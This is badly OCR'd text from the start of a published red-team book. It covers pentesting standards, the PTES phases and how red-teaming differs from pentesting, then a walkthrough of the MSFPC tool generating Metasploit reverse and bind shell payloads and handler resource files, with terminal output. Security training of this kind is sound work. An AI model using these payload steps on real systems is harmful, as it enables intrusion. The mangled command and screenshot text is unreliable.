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Preface

Red Teaming is used to enhance security by performing simulated attacks on the
organization in order to detect network and system vulnerabilities. Hands-On Red Team
Tactics starts with an overview of pentesting and Red Teaming, before giving an
introduction of few of the latest pentesting tools. You will then move on to exploring
Metasploit and getting to grips with Armitage. Once you have studied the basics, you
will understand Cobalt Strike basic, usage and how to set up a team server of Cobalt
Strike.

You will discover some common lesser known techniques for pivoting and how to pivot
over SSH, before using Cobalt Strike to pivot. This comprehensive guide demonstrates
the advanced methods of post-exploitation using Cobalt Strike and introduces you to
Command-and-control servers (C2) and Redirectors. All this will help you achieve
persistence using Beacons and Data Exfiltration, and will also give you the chance to
run through the methodology to use Red Team activity tools like Empire during a Red
Team activity on Active Directory and Domain Controller.

By the end of the book, you will have learned advanced penetration testing tools,
techniques to get reverse shells over encrypted channels and processes for post-
exploitation. In addition to this, you will explore frameworks such as Empire which
include maintaining persistent access, staying untraceable, and getting reverse
connections over different C2 covert channels.
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Who this book is for

Hands-On Red Team Tactics is for you if you are an IT professional, pentester, security
consultant, or ethical hacker interested in the IT security domain and wants to go beyond
Penetration Testing. Prior knowledge of penetration testing is beneficial.
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What this book covers

cnapter 1, Red-Teaming and Pentesting, helps you understand about different standards of
pentesting followed across the industry, and we went through the seven phases of the
PTES standard in detail.

cnapter 2, Pentesting 2018, introduces you to MSF Payload Creator (MSFPC). We will
also look at the use of resource files which were generated by MSFPC besides the
payload file

cnapter 3, Foreplay — Metasploit Basics, teaches you about team server and the Armitage
client, including the setup and usage of Armitage.

cnapter 4, Getting Started with Cobalt Strike, starts by exploring the red-team exercise as
well as the concept of the cyber kill chain, which can be used for an attack plan. The
chapter then introduces you to Cobalt Strike, the tool that is used for red-team
operations.

cnapter 5, ./ReverseShell, explores what a reverse connection and reverse shell
connection is using various tools. Furthermore, we will try different payloads to get
reverse shell connections using Metasploit.

cnapter 6, P1voting, dives into port forwarding and its uses. We will also learn about
pivoting and its uses, followed by methods of port forwarding via SSH.

cnapter 7, Age of Empire — The beginning, introduces you to Empire and its
fundamentals. We will also cover Empire's basic usage and the post exploitation basics
for Windows, Linux and OSX.

chapter 8, Age of Empire — Owning Domain Controllers, delves into some more
advanced uses of the Empire tool to get access to the Domain Controller.

cnapter 9, Cobalt Strike — Red Team Operations, teaches you about the listener module of
Cobalt Strike along with its type and usage.

cnapter 10, C2 — Master of Puppets, provides an introduction to command and control
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(C2) servers and discussed how they are used in a red team operation.

cnapter 11, Obfuscate C2s — Introducing Redirectors, introduces you to redirectors and
the reason why obfuscating C2s are required. We have also covered how we can
obfuscate C2s in a secure manner so that we can protect our C2s from getting detected
by the Blue team.

cnapter 12, Achieving Persistence, dives into achieving persistence using Armitage's
inbuilt exploit modules, then we will learn how to do the same via Empire on Windows,
Linux, and macOS machines.

cnapter 13, Data Exfiltration, discusses about some basic ways of transferring data using
simple tools like Netcat, OpenSSL and PowerShell. Next, we jumped into transforming
the data using text-based steganography to avoid detection, as well as looking at the
usage of the CloakifyFactory tool.
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To get the most out of this book

The readers should have prior knowledge to networking basics, Linux basic commands,
Penetration Testing standards and hands-on experience in using tools such as
Metasploit, Nmap, and so on.

The readers should have at least Linux installed for Red Team Engagement. Kali is
recommended as it comes with pre-configured tools.
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Download the color images

We also provide a PDF file that has color images of the screenshots/diagrams used in
this book. You can download it here: https://www.packtpub.com/sites/default/files/downloads/97

81788995238 ColorImages.pdf.
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Conventions used

There are a number of text conventions used throughout this book.

coderntext: INdicates code words in text, database table names, folder names, filenames,
file extensions, pathnames, dummy URLSs, user input, and Twitter handles. Here is an
example: "Let's try to use the vackdcor 1nx module by typing info."

Any command-line input or output is written as follows:

| git clone https://github.com/g0tmilk/mpc

Bold: Indicates a new term, an important word, or words that you see onscreen. For
example, words in menus or dialog boxes appear in the text like this. Here is an
example: "Click the Add an app button to add an application."

0 Warnings or important notes appear like this.

9 Tips and tricks appear like this.
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Get in touch

Feedback from our readers is always welcome.

General feedback: If you have questions about any aspect of this book, mention the
book title in the Sllbj ect Ofyour message and email us at customercare@packtpub.com.

Errata: Although we have taken every care to ensure the accuracy of our content,
mistakes do happen. If you have found a mistake in this book, we would be grateful if
you would report this to us. Please visit wiw.packt.con/suomit-errata, selecting your book,
clicking on the Errata Submission Form link, and entering the details.

Piracy: If you come across any illegal copies of our works in any form on the Internet,
we would be grateful i1f you would provide us with the location address or website
name. Please contact us at copyrigntepackt.com With a link to the material.

If you are interested in becoming an author: If there is a topic that you have expertise
in and you are interested in either writing or contributing to a book, please visit authors.p

acktpub.com.
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Reviews

Please leave a review. Once you have read and used this book, why not leave a review
on the site that you purchased it from? Potential readers can then see and use your
unbiased opinion to make purchase decisions, we at Packt can understand what you
think about our products, and our authors can see your feedback on their book. Thank
you!

For more information about Packt, please visit packt . con.
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Disclaimer

The information within this book is intended to be used only in an ethical manner. Do
not use any information from the book if you do not have written permission from the
owner of the equipment. If you performillegal actions, you are likely to be arrested and
prosecuted to the full extent of the law. Packt Publishing does not take any responsibility
if you misuse any of the information contained within the book. The information herein
must only be used while testing environments with proper written authorizations from
appropriate persons responsible.
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Red-Teaming and Pentesting

Pentesting 1s an authorized attack on a computer system, done to evaluate the security of
the system/network. This test is performed to identify vulnerabilities and the risks they
possess.

The 1960's marked the true beginning of the age of computer security. In this chapter, we
will cover the methodology of pentesting that is widely used, as well as the red-teaming
approach, which is now being adopted across different corporations.

In this chapter, we will cover the following topics:

e Pentesting 101
e A different approach

Technet24
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Pentesting 101

As we all know, penetration testing follows a standard. There are various standards,
such as the Open Web Application Security Project (OWASP), the Open Source
Security Testing Methodology Manual (OSSTMM), the Information Systems
Security Assessment Framework (ISSAF), and so on. Most of them follow the same
methodology, but the phases have been named differently. We will take a look at each of
them in the following sections and cover the Penetration Testing Execution Standards
(PTES) in detail.
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OWASP

OWASP is a worldwide not-for-profit charitable organization that focuses on improving
the security of software.

It's a community of like-minded professionals who release software and knowledge-
based documentation on application security, covering such subjects as:

Information gathering
Configuration and deployment management testing
Identity management testing
Authentication testing
Authorization testing
Session management testing
Input validation testing
Error handling
Cryptography

Business logic testing
Client-side testing

Technet24
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Open Source Security Testing
Methodology Manual (OSSTMM)

As mentioned on their official website, this is a peer-reviewed manual of security
testing and analysis, providing verified facts. These facts provide actionable
information that can measurably improve your operational security.

The OSSTMM includes the following key sections:

Operational security metrics

Trust analysis

Work flow

Human security testing

Physical security testing

Wireless security testing

Telecommunications security testing

Data networks security testing

Compliance regulations

Reporting with the Security Test Audit Report (STAR)
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Information Systems Security
Assessment Framework (ISSAF)

ISSAF is not very active, but the guide it has provided is quite comprehensive. It aims
to evaluate the information security policy and process of an organization with regard to
its compliance with IT industry standards, along with laws and regulatory requirements.
The current version of ISSAF is 0.2.

The Stages that it covers can be found at https://www.owasp.org/index.php/Penetration testing m

ethodologies.

Technet24
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Penetration Testing Execution Standard
(PTES)

This standard is the most widely used standard and covers almost everything related to
pentesting.

PTES is divided into the following seven phases:

Pre-engagement interactions
Intelligence gathering
Threat modeling
Vulnerability analysis
Exploitation
Post-exploitation

Reporting

NownkLbh =

Let's take a brief look at what each of these phases involves.


https://technet24.ir
https://technet24.ir

Pre-engagement interactions

These actions involve multiple processes to be carried out before an activity kicks off,
such as defining the scope of the activity, which usually involves mapping the network
IPs, web applications, wireless networks, and so on.

Once the scoping is done, lines of communication are established across both the
vendors and the incident reporting process is finalized. These interactions also include
status updates, calls, legal processes, and the start and end dates of the project.

Technet24
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Intelligence gathering

This 1s a process that is used to gather as much as information as possible about the
target. This 1s the most critical part of pentesting, as the more information we have, the
more attack vectors we can plan to perform the activity. In case of a whitebox activity,
all this information is already provided to the testing team.
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Threat modeling

Threat modeling model depends on the amount of information gathered. Depending on
that, the activity can be divided and then performed using automated tools, logical
attacks, and so on. The following diagram illustrates an example of a mindmap of a
threat model:

Technet24
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Vulnerability analysis

This 1s a process of discovering flaws that can be used by an attacker. These flaws can
be anything ranging from open ports/service misconfiguration to an SQL injection. There
are lots of tools available that can help in performing a vulnerability analysis.

These include Nmap, Acunetix, and Burp Suite. We can also see new tools being
released every few weeks.

Technet24
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Exploitation

This 1s a process of gaining access to the system by evading the protection mechanism
on the system based on the vulnerability assessment. Exploits can be public, or a zero
day.
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Post-exploitation

This 1s a process where the goal is to determine the criticality of the compromise and
then maintain access for future use. This phase must always follow the rules of the
engagement that is protecting the client and protecting ourselves (covering the tracks as
per the activity's requirements).

Technet24
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Reporting
This 1s one of the most important phases, as the patching of all the issues totally depends

on the details presented in the report. The report must contain three key elements:

e Criticality of the bug
e Steps of reproduction of the bug
e Patch suggestions

In summary, the pentest life cycle phases are presented in the following diagram:

Patch I Scope

Validation Identification

Reporting Vulnerability
and Patching Analysis

\ Exploitation /

and Cleanup
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A different approach

Let's discuss a different approach: red-teaming. The main objective of red-teaming is to
assess and obtain the real level of risk a company has at that moment in time. In this

activity, networks, applications, physical, and people (social engineering) are tested
against weaknesses.

Red-teaming can also be considered as a simulation of a real-world hack.

Technet24
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Methodology

Red-teaming is based on the PTES standard as the foundation. However, there's much
more to it. It can be said that the penetration testing activity is performed with the aim of
finding as many vulnerabilities in the given amount of time as possible. However, red-
teaming is performed with only one goal and by staying discreet.

The methodology used in a red-team activity involves the following:

Reconnaissance
Compromise
Persistence

Command and control
Privilege escalation
Pivoting

Reporting and cleanup

The following cycle basically repeats for every new piece of information that is found
about the client until the goal is met:
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Report

and Reconnaissance
Cleanup
Pivot Compromise
inhg;;e Persistance
Escalation

Command ’
And

Control

Technet24
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How is it different?

Let's look at it with a different perspective to get a clearer picture:

Pentesting

Physical Security

Social Engineering

Looking at the preceding diagram, we can see that red-teaming involves using every
means to achieve the goals. We can summarize the major difference between red-
teaming and pentesting as follows:

e Red-teaming involves finding and exploiting only those vulnerabilities that help to
achieve our goal, whereas pentesting involves finding and exploiting
vulnerabilities in the given scope, which is limited to digital assets

e Red-teaming has an extremely flexible methodology, whereas pentesting has fixed
static methods

e During red-teaming, the security teams of the organizations have no information
about it, whereas during pentesting, security teams are notified
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e Red-teaming attacks can happen 24/7, while pentesting activities are mostly

limited to office hours
e Red-teaming is more about measuring the business impact of the vulnerabilities,
whereas pentesting is about finding and exploiting vulnerabilities.
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Summary

Wrapping up the chapter, we learned about different standards of pentesting followed
across the industry, and we went through the seven phases of the PTES standard in
detail. We also looked at red-teaming and how it is different from pentesting.

In the next chapter, we will look at a few of the latest post-exploitation tools and
examine in detail how they work.
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Questions

What are the different pentesting standards?

What are the different phases of PTES?

What is the difference between red-teaming and pentesting?
What are the key elements of a report?

What is the main objective of a red-team activity?

A il S
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Further reading

For more information on the topics discussed in this chapter, please visit the following
links:

e High Level Organization of the Standard: nttp://www.pentest-standard.org/index.php/M
ain_Page

o OSSTMM: nttp://wuw.isecom.org/mirror/0SSTMM. 3. pdf

e Web Application Penetration Testing: nctps://www.owasp.org/index.php/Web Application
Penetration Testing

o Information Systems Security Assessment Framework (ISSAF): netp:/ /. 0issg.
org/issaf02/issaf0.1-5.pdf

e InfoSec Resources: https://resources.infosecinstitute.com/the-history-of-penetration-tes

ting/#gref
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Pentesting 2018

For the past few years, we have been using tools such as the Metasploit Framework,
routersploit, LinuxEnum.sh, nmap, aNd SO on for post-exploitation and scanning. With the
growing popularity of new tools, it would be good to learn about some new tools that
can be used for post-exploitation. Out of the many available tools, we will be looking at
MSFvenom Payload Creator (MSFPC)—a simple MSF-based payload generator; and
Koadic—a COM-based Command and Control (C3) server, which can be used in
red-team operations or penetration testing for post-exploitation.

In this chapter, we will cover the following tools:

e MSFPC
e Kaodic

Technet24
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Technical requirements

e *nix-based system (Kali, Ubuntu, or macOS X)
e The Metasploit framework (needed for MSFPC)
e Python package version 2 or 3 (needed for Koadic)
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MSFvenom Payload Creator

MSFvenom Payload Creator (MSFPC) is a user-friendly multiple payload generator
that can be used to generate Metasploit payloads based on user-selected options. The
user doesn't need to execute the long msevenom commands to generate payloads anymore.
With MSFPC, the user can generate the payloads with far fewer commands.

Before downloading the tool, Metasploit should be installed in the system. MSFPC is
just a simple bash script, which means that it can be executed on *nix systems.

We can download the MSFPC package from netps://github.con/gotmi1x/mpe. We can either
download the repository in a ZIP file or we can clone the repository on our local system
by running the following command:

|g1t clone https //github.com/g0tmilk/mpc
XxZombi3xxx:~ Harry$
~ Harry$

i~ Harry$ git clone https://github. com/g@tmilk/mpc

E 1ur|1r|q into ‘mpc

remote: Counting "IL'WH' ts: 79, done.
remote: Total 79 (delta ©; ed @ (delta @), pack-reused 79
e . . done.

After cloning the repo, let's issue an execute permission on msfpc.sn file.

cd mpc/

chmod +x msfpc.sh

./msfpc.sh

./msfpc.sh <TYPE> (<DOMAIN/IP>) (<PORT>) (<CMD/MSF>) (<BIND/REVERSE>) (<STAGED/STAGELESS>) (<TCP,
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e vee: The payload could be of any of the following formats (this option is the same
as the - switch in msevenom): APk (android], ASp, ASPX, Bash [.sh], Java [.jspl, Linux [.elf],
08X [.macho], Perl [.pl], PHP, Powershell [.psl], Python [.pyl], Tomcat [.war], Windows [.exe
//.d117.

e pouarn/1e; This is the rrost option when generating payloads in nsfvenom.

e rorr: This is the veorr option when generating payloads in mstvenom.

e an/usr: This is the type of shell dropped once the payload is executed on the target
system. The ovp option can be used when you want to get a standard command shell;
that 1s, the Command Prompt shell (cna.exe) for Windows and Terminal (/vin/basn)
for *nix. In some cases, where the size of the shellcode matters, it's better to use
the classic reverse shell payload. cup can be used in situations like these.

Generating a simple classic reverse shell payload can be done by executing the
following command:

|sh msfpc.sh cmd windows en0

The preceding command will generate a payload with a cna as the preferred shell for
Windows and set the wrost to the IP retrieved from the «no Ethernet interface:
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rhxZor 3xkx:mpe Harryd sh mefpc. sh ond windows end
-6 venom “ayload Creator (10 vl A4
¢ [1] IF: 192.168.2.10
¢ [1] PORT; 443
-2 [1]
:

TYPE: windows (windows/shell/reverse_tcp)

-2 [1] CHD: msfvenom -p windows/shell/reverse_tep -f exe \
--platform windows - X80 -e generic/none LHOST=192.168.2.10 LPORT=443 \
» ' {lIsers/Harry/mpc/windows-shel 1-staged- reverse-tcp-443. exe”

1] windows shell created: '/Users/Harry/mpc/windows-shell-staged-reverse-tep-443. exe

1] WSF hondler file: */Users/Harry/mpe/w ndows-shel [-staged- reverse-tep-443-exe, e’

1] Run: msfconsole -q -r ' /Users/Harry/moc/windows-shel 1-staged- reverse-tep-443-exe, e’
ck we server (for file transfer)?: pythonZ -m StmpledTTPServer 8050

: |

rhoZort 3xkx:mpc Harryd 15 -alh windows-shel1-staged-reverse-top-443*

-M-r--r-- 1 Harry stoff 4458 Moy 12 18:37 windows-shel [-stoged-reverse-tep-442-exe.re

-rwer-xr-x 1 Harry stoff 72K May 12 18:37 windows-shel [-staged- reverse-tep-443, exe

rhZombidekx:moc Harry§

As you can see from the preceding screenshot, MSFPC created two files in the same
directory:

e The executable payload: windows-shell-staged-reverse-tc
e The resource file: windows-shell-staged-reverse-tc

The naming convention for the files are easy to understand as they are named after the
options used while creation. We just created a Windows staged (explained later in this
chapter) executable when executed on the target server will connect back to our system
(reverse connection) on our local port 443 and drop us a command prompt

shell. Hence, windows-shell-staged-reverse-tcp-443.exe. It is preferred to have a
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reverse shell instead of a bind shell (explained in the further chapters)
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Resource file

As explained in the documentation of Metasploit (nttps://metaspioit.nelp.rapid7.com/docs/res
ource-scripts), Tesource scripts provide an easy way for you to automate repetitive tasks
in Metasploit. Conceptually, they're just like batch scripts. They contain a set of
commands that are automatically and sequentially executed when you load the script in
Metasploit. You can create a resource script by chaining together a series of Metasploit
console commands and by directly embedding Ruby to do things such as call APIs,
interact with objects in the database, and iterate actions.

Let's check out the .-c file generated by MSFPC in the preceding command:

xAxZombi3xXx:mpc Harry$ cat windows-shell-staged-reverse-top-443-exe.rc
#

# [kKalt 1]:  service postgresgl start;

# [Kall Z.x/Rolling]:  msfdb start; msfconso

#

[
L'}
T

—+

i

set

Hset

run —j
xAxZombl3xAx :mpc Harry$

The payload is set tO windows/she11/reverse_tcp When the cun option is used.

The st option generates the payload with a custom cross-platform shell that uses the full
potential of Metasploit:

|sh msfpc.sh msf windows en0
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ehxZontt 3ck:npe Horry sh msfoc, sh msf windows end

: venom “ayload Cregtor (100 vl A

¢ [1] 1P 192.166.2.10

o [1] PORT: 443

g [1] TYPE: windows (Windows/meterpreter/reverse_tp)

-2 [1] CMD: msfvenom -p windows/meterpreter/reverse_tcp -f axe \
--platfom windows -0 X80 -e generrc/none LHST=192.108.2.18 LPORT=443 \

> flIsers/Harry/mpc/windows-meterpreter-staged- reverse-tep-443. exe’

[1] Windows meterprater created: ' /lsers/Harry/mpc/wLndows-meterpreter-staged-reverse-tep-443, exe'

1] WSF handler f11e: */lsers/norry/mpc/n ndows-meterpreter-staged- reverse-tep-442-gxe, e’
1] Rum: msfeonsole -q -r*/lsers/Harry/moc/nndovs-meterprater-staged-reverse-tep-A43-exe, e’
[k weD server (for f1le transfer)/: pythonZ -m StmpleHTTPServer 8280

|

thxZombi 3xdx:mc Harry

If you look at the .rc file generated from MSFPC when the s+ option is used, you'll see
the difference in the payload used by the payload handler:

xAxZombi3xdx:mpc Harry$d cat windows-meterpreter-staoged-
i

# [Kalt 1]: seryvice postgresgl start; service metadspl
# [kKalt Z.x/Rolling]: mstdb start; msfconsole -g -r '
#

use exploit/multishandler

set PAYLOAD windows/meterpreter/revarsa_top

set LHOST 1972.1658.2.10

set LPORT 443

set ExitOn>ession false

#set AutoRunzcript 'postdwlndows/manage/migrate’

LN -7

xAxZombi3xXx:mpc Harry$
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tcp When the vsr option is used. The

e s is used for quiet mode (no good looking for the MSF banner)
-+ 1s used for the resource file

|msfconsole -q -r 'windows-meterpreter-staged-reverse-tcp-443-exe.rc'

[ ]
Once the payload is executed, the stager will request for other parts of the payload to
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be sent over to the target server. These parts of the payload will be sent by payload
handler and the complete staged payload is delivered to the victim:

I5F BAOLOTE 1007 » SES8L0ns -

Aty sesslons

o) » sesstons | L

tortng Ineeraction with ...

Note: The payload we used in the preceding image is x86 based but the system is x64
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architecture. It's recommended that the payload should either match the same
architecture as the operating system. In Metasploit we can either migrate from x86
based process to x64 based process or we can use the Metasploit post module
post /windows /manage/archmigrate t0 migrate from x86 to x64 architecture.

e smp/reverse: 1 he type of connection to be made once the payload is executed on the

target system.

e smo: This shell connection will open a port on the target server and connect to it.
To get a smwo connection is very rare as ingress (incoming) firewall rules block the
ports on the target server.

| ./msfpc.sh bind msf windows en0

The preceding command will generate a Windows meterpreter payload, which will
open a port on the target server and listen for a bind connection from our payload
handler once the payload is executed. The port may not be accessible for connection due
to firewall. In this situation, we can opt for reverse shell payloads which will bypass
the firewall ruleset for outgoing connection and connect back to our system.
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ok Zonot3xkemoc Harry$ . /msfpc.sh bind mef windows end

'u'f:l'll"‘ll'l'l ayload {reator ( v1.4.9)

] IP: 192.108.2.10

1] PORT: 443

1] TYPE: windows (windows/meterpreter/bind_tcp)

1] CHD: msfvenom -p windows/meterpreter/bind_tcp - exe \
--platform windows -0 xgb -e generic/none  [PORT=443 \

»  {Users/Harry/mpc/windows-meterpreter-staged-bind-tep-443. exe’

1

I
[
[
[

[1] windows meterpreter cregted: '/Users/Harry/mpc/windows-meterpreter-stoged-bind-tep-443. axe

[1] WF hanaler f1le: */Users/Rarry/moc/n ndows-meterpreter-stoged-bind-tep-443-gxe. e’
[l] |:|”| msfConsole 8 500 "lsars ’Hﬂ[l' 'Il'['ll_-ll'-' Il"ﬂr“j[:]I"lll"IE"mEtEmFEtEF'Et']!JE'j't'if-||j't|:£|-443-E;I;E,[’[:'
) P ver (for file transfer)?: python2 -m SimpleHTTPServer 880

|
ke Zonbt 3xkmoc Harry

Out of the two files generated by MSFPC, let's check out the .. file for this:
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xAxZombl 3x¥x:mpe Harry$ cat windows-meterpreter-staged-bind-top-443-

it
esql start; service metadsploit start; ma leﬂ'HlH
Bz el [k o m;frDHHulu -q -r '/lsers/Harry/

xaxZombi3xXx:mpc Harry$

The paYIOad 1s set to windows/meterpreter/bind tcp instead of reverse tcp, which shows that
the payload handler will use a BIND connection to connect to the target server.

e reverse: [his shell connection will open a port on the attacker machine. Once the
payload is executed, the target server will connect back to the attacker. To get a
reverse connection 1s a very good way of bypassing ingress firewall blocks but this
method can be blocked if egress (outbound) firewall rules are in place. By default,
MSFPC will generate the payload with the reverse shell connection.

e stacen/staceiess: The type of payload to be used.

e stacen: This is the payload type that sends the payload in multiple stages, which
makes it smaller in size but it relies on Metasploit's payload handler for sending
the remainder of the parts to the target server. By default, MSFPC will generate a
staged payload.

e staceress: Lhis is a complete payload and is more stable and reliable than the sracep
payload but the size of this kind of payload is way too much in comparison to

STAGED.

| ./msfpc.sh cmd stageless bind windows en0

The preceding command will generate a stageless windows €xecutable payload when
executed. It will open a port on the target system and listen for a smnvo connection to get a
standard Command Prompt:
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xXxZombi3xXx:mpc Harry$ . /msfpc.sh omd stageless bind windows end
venom ayload | reator ( W i
[1] IF: 192.168.2.10
[1] PORT: 443
[1] TYPE: windows (windows/shell_bind_tcp)
[i] CMD: msfvenom -p windows/shell_bind_tcp -f exe \
--platform windows -a x80 -e generic/none LPORT=443
= "/Users/Harry/mpc/windows-shel 1-stageless-bind-tcp-443. exe'

[1] windows shell created: '/Users/Harry/mpc/windows-shell-stageless-bind-tcp-443.exe’

[1] M5F handler file: '/Users/Harry/mpc/windows-shell-stageless-bind-top-443-exe. rc'
[1] Run msFt:onsole -q -r "/Users/Harry/mpc/windows-shell-stageless-bind-top-443-axe. rc!

Cl (for flile transfer)/: pythond -m SimpleHTTPServer 8BE0
I
xXxZombi3xXx:mpc Harry$

Let's check the ..c file generated from the preceding command:

xXxZombi3x¥x:mpc Harry$ cat windows-shell-stageless-bind-top-443-axe. rc
i

# [kalt 1]:  service postgresql start; service metadsploit start; msfcon
# [kalt Z.x/Rolling]: msfdb start; msfconsole -g -r '/Users/Harry/mpc/
i

use explolt/multi/handler

set PAYLOAD windows/shell_bind_tcp

set RHOST 192.168.2.10

set LPORT 443

set Exi1tOnsession false

fset AutoRunScript "post/windows/manage/migrate’

FUn -]

x&xZombi3x¥x :mpc Harry$

The payload is set tO windows/shel1 bind tcp, Which 18 @ stageiess payload. A stagea payload
in Metasploit would be windows/she11/bind tep.

e rce/urTe/uTTRS/FIND PORT: 1 he communication method required by the payload to
communicate with the payload handler.

e rcr: This 1s the standard communication method once the payload is executed on the
target server. This communication method can be used with any type of payload
and payload format, but this can easily be detected by IDS and blocked by
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firewalls and IPS because of its unencrypted nature.

srre: If this option is used by MSFPC, the payload will use HTTP as the
communication method. Instead of communicating on any given TCP port, the
payload will communicate on port so. This option can be used to bypass firewalls
if only port so0 is open on the target system. This can be detected by IDS and
blocked IPS because of its unencrypted nature.

srres: This option 1s used when generating a payload that will use SSL
communication. It's recommended to use this option for stealthy reverse
connections.

rmwp_rort: This option is used when we are unable to get reverse connections from
common ports (so, 443, 53, 21). If this option is set, MSFPC will generate the
payload, which will try all 1-6s535 ports for communication.

sarci/roor; MSFPC can generate multiple payloads (multiple OS platforms) with a
single command. This can be achieved by using either the sarcu 1ode OF LooP Mode.
sarcH mode: IN the earcn mode, MSFPC can generate multiple payloads with as many
combinations of payload type as possible:

./msfpc batch windows en0
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whxZombi3xkmpe Horry$ . /msfpe.sh batch windows end
venom ayload reator ( v1.4.4)
[1] Batch Mode. Creating as many different combinations as possible

venom ayload reator ( v1.4.4)
[1] IF: 192.168.10.122
[1] PORT: 443
[1] TYPE: windows (windows/meterpreter/reverse_tcp)
[1] CMD: msfvenom -p windows/meterpreter/reverse_tcp -f exe \
—-platform windows -a x86 -e generic/none LHOST=192.168.10.127 LPORT-443 \
» ' flsers/Harry/mpc/windows-meterpreter-staged-reverse-tep-443. exe’

[1] windows meterpreter cregted: '/Users/Harry/mpc/windows-meterpreter-staged-reverse-tep-443. exe'

[1] WSF hondler file: */lUsers/Harry/mpc/windows-meterpreter-stoged-reverse-tep-443-axe, rc’
[1] Run: mchonsole -0 -r " /lsers/Harry/mpc/windows-meterpretar-stoged-reverse- top-443-exe, e

ar (for flle tronsfer)/: pythonZ -m SimpledTTPServer 8282
|

venom ayload reator ( v1.4.4)
[1] IP: 192.166.10.122
[1] PORT: 443
[1] TYFE: windows (windows/meterpreter/ reverse_http)
[1] CMD: msfvenom -p windows/meterpreter/reverse_http -f exe \
--platform windows -a x80 -e generic/none LH0ST=19Z.166.10.127 [PORT=443 \
» ' {Users/Harry/mpc/windows-meterpreter-staged-reverse-http-443. exe’

[1] windows meterpreter cregted: '/Users/Harry/mpc/windows-meterpreter-staged-reverse-http-443. exe'

[1] M5F honaler file: */Users/Harry/mpc/windows-meterpreter-staged-reverse-http-443-exe. rc'
[1] Run; mchonsole -0 -r " /lsars/Harry/mpc/windows-meterpretar-stoged-reverse-nttp-443-exe, rc’
7] Quich er (for file transfer)?: pythonZ -m SimpledTTPServer 5082
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MSFPC generated all the combination of payloads for only Windows (as mentioned in
the options) with their respective resource files (.xc):


https://technet24.ir
https://technet24.ir

whxZonbi 3ekmoe Harry§ 1s
-W-r--r-- Loy stoff
-rwér-xr-x 1 Harry - stoff
-W-r--r-- L Harry stoff
-rwer-yr-x 1 Harry - stoff
-MW-r--r-- 1y stoff
-rier-xr-x 1 Harry - stoff
-W-r--r-- Loy stoff
-rwér-xr-x 1 Harry - stoff
-W-r--r-- LAy stoff
-rwer-yr-x 1 Harry - stoff
-MW-r--r-- 1y stoff
-rier-xr-x 1 Harry - stoff
-W-r--r-- Loy stoff
-rwér-xr-x 1 Harry - stoff
-W-r--r-- L Harry stoff
-rwer-yr-x 1 Harry - stoff
-MW-r--r-- 1y stoff
-rier-xr-x 1 Harry - stoff
-W-r--r-- Loy stoff
-rier-xr-x 1oy stoff
-W-r--r-- L Harry stoff
-rwer-yr-x 1 Harry - stoff
-MW-r--r-- 1y stoff
-rwer-xr-x 1 Harry - stoff
whxZonbi 3ekmoc Horr

-01 windows-*

439 Hoy 14 16:33
(26 oy 14 16:53
4718 Noy 14 10:32
12K Moy 14 16:3
4748 Hoy 14 10:32
1 Moy 14 16:32
JofE Moy 14 10:3
26 oy 14 16:5)
4038 Hoy 14 10:33
4K My 14 1015
4778 Hoy 14 16:32
20K My 14 10132
430 Noy 14 16:32
CHK My 14 1013
4748 Hoy 14 10:32
4K Hay 14 1013
4418 Moy 14 10:55
12 Moy 14 16:5)
4300 Hoy 14 16:33
(26 oy 14 16:33
4478 Hoy 14 10:35
12K Moy 14 16:5)
408 Hoy 14 104
T Ny 14 1624

[Ndows-meterpreter-staged-Dund-tep-443-exe. e
[Ndowe-meterpreter-staged-und-tep-443. exe
[N0WS-Tetarpretar-stoged-reverse-netp-443-exe, e
[NONS-Meterprater-staged-reverse-fitp-443, exe
[Ndows-meterprater-staged-reverse-nttps-d43-exe. re
[N0Ws-meterprater-staged-reverse-nttps-443, exe
[ndoWs-meterpreter-staged-reverse-tep-44d-exe. i
[N0We-meterpreter-staged-reverse- tp-443, exe
[ndowe-meterpreter-stageless-otnd-tep-443-exe. re
[NdoWs-meterprater-stageless-oung-tep-443, exe
[Ndows-meterprater-stagelss- revarse-nttp-4d3-exe, re
[NdoWs-meterprater-stageless- revarse-nttp-443, exe
LndoWs-meterpreter-stageless- reverse-nttps-4d3-gxe, e
[N0Ws-Meterpreter-stagelese-reverse-ntips-44d. exe
Nd0ws-Metarpretar-stogelass- revarse-fep-A43-exe. e
[NOWs-meterprater-stagel ess- revrse-top-443, exe
[ndows-shel L-staged- oind-tep-443-ase. e
[ndows-shel L-stoged-oind-tep-443, exe
[ndows-shel L-staged- reverse-tep-443-exe, e
[ndows-shel L-staged- reverse-tep-443. exe
[ndows-shel [-stageless-bind-tep-443-axe, e
[ndows-shel 1-stogeless-bind-tep-443, exe

[l-

[l-

e = — e —— - — e — R — e — = — R — = - — == — R — e — e —
e e SN e o RO e e R e L SN e e SR e ot R e Lo S o R e ot RN e L S e o SR e

1
[ndows-shel 1-stageless- reverse-tep-443-exe. e
[ndows-shel [-stageless- reverse-top-443, exe

e roor Mode: This mode can generate multiple payloads of all types. MSFPC can also
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generate all the payloads for a given ruosr. This can be useful in an environment
where we don't have the exact knowledge of the platform's OS. The payloads can
be generated with the following command:

./msfpc.sh loop 192.168.10.122
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[nbdont 348 metasplot t-Framesork Harry§ «/mp/msfpc.sh Taop 192,168, 10,122
venom ‘ayload (reator (v
(1] Loop Mode, Creating one of each TYPE, with defoult values

mmede( y1.4.4)
F: 192.168.10.122
PORT: 443
TYPE: ondroid (androlc/meterpreter/ revarse_tep)
1] CUD: msfvenom -p android/meterpreter/reverse_tep \
[H0ST=192.166.10.122 LPORT-443 \
» ' Usr/local/share/metasplott-frmework/ mdrot d-neterpreter-stageless-reverse-tep-443, apk

1
1
1

]
]
]
]

[1] File (/usr/local/share/mezasplon t-fravework/ androld-neterpreter-stageless- reverse-top-&d3, aok) olready exists, Overwriting...
[1] ndro1d meterprater cregted: ' /usr/local/share/metasplo t-Franesork/ ondrold-meterpreter-stagelass- reverse-tep-443. apk’

(1] WSF nondler file; */usr/local/shore/metasplott-Framesork/ anarot d-meterprater-stagelass-reverse-top-243-apk. e’
[1] Run: msfconsole -q -r */usr/Local/shore/metasploLt-framesork/ androt d-meterprater-stagelass-reverse-tep-443-apk. e’

(for file transfer)/s pythonZ -m StmpleRTTF5ervar B08)
|

venan “ayload Cregtor (0 V14
1] IF: 192.168.10.12
1] PORT: 443
1] TYPE: windows (windows/meterprater/ reverse_tcp)
1] CMD: msfvenom -p windows/meterpreter/ reverse_tcp -f osp \
--platform windows -0 x80 -¢ genertc/none [HOST=192.168.10.122 LPORT=443 \
» ' fusr/local/share/metasplolt-Franework/windows-meterpreter-staged-reverse-tep-443. asp’

